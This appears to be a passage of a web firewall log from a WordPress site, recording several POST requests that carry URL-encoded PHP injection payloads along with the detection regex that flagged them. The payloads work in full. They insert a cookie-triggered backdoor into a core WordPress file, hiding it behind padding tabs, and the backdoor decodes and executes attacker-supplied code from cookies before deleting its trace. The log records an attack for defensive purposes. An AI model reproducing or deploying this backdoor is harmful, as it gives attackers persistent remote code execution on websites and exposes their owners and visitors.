%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:11","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4341\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nkz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:13","51.38.81.255","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4341\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nHJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:17","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4364\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
